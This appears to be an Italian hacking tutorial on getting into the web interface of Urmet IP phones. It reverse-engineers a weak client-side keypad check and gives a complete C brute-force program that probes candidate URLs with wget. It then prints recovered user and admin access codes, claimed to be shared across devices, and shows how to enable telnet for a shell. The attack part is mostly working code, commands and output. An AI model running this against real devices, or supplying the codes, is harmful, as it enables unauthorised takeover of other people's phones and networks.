apriamo il browser all'indirizzo http://192.168.1.2:8080/ e vedremmo una pagina di login molto scarna, probabilmente l'interfaccia web e` stata fatta per il debug e usata solo dagli addetti ai lavori (e da noi!!)

Viene visualizzata una pagina con un un tastierino numerico su cui dovremmo inserire un codice per avere l'accesso

A prima vista non mi da l'impressione di essere il massimo della sicurezza.

Come funziona

Dando un occhiata ai sorgenti riusciamo a capire che ogni volta che premiamo un bottone con una cifra viene invocata la funzione JavaScript Enter_code()

var usermulcode = 24 var code = 0 var mul = 1 var digit = 0 var fails = 0

function Enter_code(number) { code = code * 10 + number mul = mul * number document.codepad.thecode.value = code digit++

if (digit == 8) {
    if (mul == 40320) {
        location = code + ".html"
    }
    if (mul == 11907) {
        location = "Admin" + code + ".html"
    }
    else {
        fails++
        code = 0
        mul = 1
        digit = 0
        if (fails < 3) {
            if (fails == 1) {
                document.codepad.thecode.value = "Try again"
            }
            if (fails == 2) {
                document.codepad.thecode.value = "Last Time"
            }
        }
        else {
            location = "http://www.urmet.it"
            document.codepad.thecode.value = "Bye!"
        }
    }
}

}

Osservando il codice riusciamo a farci un idea del funzionamento. Abbiamo 3 tentativi dopodiche` verremmo rediretti sul sito della Urmet. Il codice da inserire e` lungo 8 cifre, possiamo accedere con due codici, uno ci da l'accesso di amministratore ed un'altro da utente normale. La url che viene aperta inserendo il codice corretto e` formata dal codice stesso quindi se non conosciamo il codice non sappiamo quale sia. Applicando una funzione matematica sulle sue cifre del codice da` come risultato 40320 per l'accesso come utente e 11907 come amministratore.

Come entrare

Un'altra cosa che possiamo capire dal JavaScript e` che il calcolo del codice considera le cifre digitate sul tastierino ma non l'ordine in cui vengono digitate quindi esistono piu` codici che permettono di accedere ma solo uno e` quello giusto, con tutti gli altri il server ci rispondera` con un errore 404 (page not found.)

include

include

include

int user_access, admin_access, n_digits; char ip[256], *sCode;

int finded_user = 0, finded_admin = 0;

long calcola_mul(int *digits) { int i, code = 0; long mul = 1;

for (i = 0; i < n_digits; i++) { code = code * 10 + digits[i]; mul = mul * digits[i]; }

return mul; }

void stampav(int *digits) { int i; for (i = 0; i < n_digits; i++) printf("%d ", digits[i]); printf("n"); }

char *stampaCode(int *digits) { int i; for (i = 0; i < n_digits; i++) sCode[i] = digits[i] + '0';

return sCode; }

void backtrack(int *v, int i) { long mul; int c; char cmd[256];

if (i >= n_digits) { /* fine della ricorsione */ mul = calcola_mul(v); if (finded_user == 0 && mul == user_access) { sprintf(cmd, "wget -q -O - http://%s/%s.html > /dev/null", ip, stampaCode(v)); if (system(cmd) == 0) { printf("User access code: "); stampav(v); finded_user = 1; } return; }

if (finded\_admin == 0 && mul == admin\_access) {
  sprintf(cmd, "wget -q -O - http://%s/Admin%s.html > /dev/null",
          ip, stampaCode(v));
  if (system(cmd) == 0) {
    printf("Admin access code: ");
    stampav(v);
    finded\_admin = 1;
  }
  return;
}
return;

}

for (c = 1; c <= 9; c++) { if (finded_admin && finded_user) return; v[i] = c; backtrack(v, i + 1); } }

int main(int argc, char *argv[]) { int *digits;

if (argc != 4 && argc != 5) { printf("Usage: %s []n", argv[0]); return 1; }

strcpy(ip, argv[1]); n_digits = atoi(argv[2]); user_access = atoi(argv[3]);

if (argc == 5) admin_access = atoi(argv[4]); else finded_admin = 1;

digits = (int *)malloc(n_digits * sizeof(int)); sCode = (char *)malloc(n_digits * sizeof(char));

backtrack(digits, 0);

free(digits); free(sCode); return 0; }

Dopo averlo compilato possiamo lanciarlo e il programma stamperà i codici di accesso a video. $ ./access 192.168.1.2:8080 8 40320 11907 User access code: 1 2 3 4 5 6 7 8 Admin access code: 1 9 7 1 1 3 9 7 I telefoni dovrebbero essere tutti uguali quindi questi codici dovrebbero permettere l'accesso a tutti quanti. Ho provato anche un altro telefono con una versione del software differente, in quel caso le cifre del codice erano 10 anziché 8 ed esisteva solo l'utente amministratore, in quel caso il codice era 1 9 7 1 1 3 9 7 2 7.

Siamo dentro

Ora possiamo variare la configurazione del telefono a nostro piacimento. Dall'interfaccia web clicchiamo sul bottone "System Information" e poi ancora su "Optional Net Services", in questo modo sul telefono verrà avviato un server telnet a cui possiamo collegarci semplicemente con il comando telnet 192.168.1.2 23 ottenendo una bellissima shell.

Buon divertimento.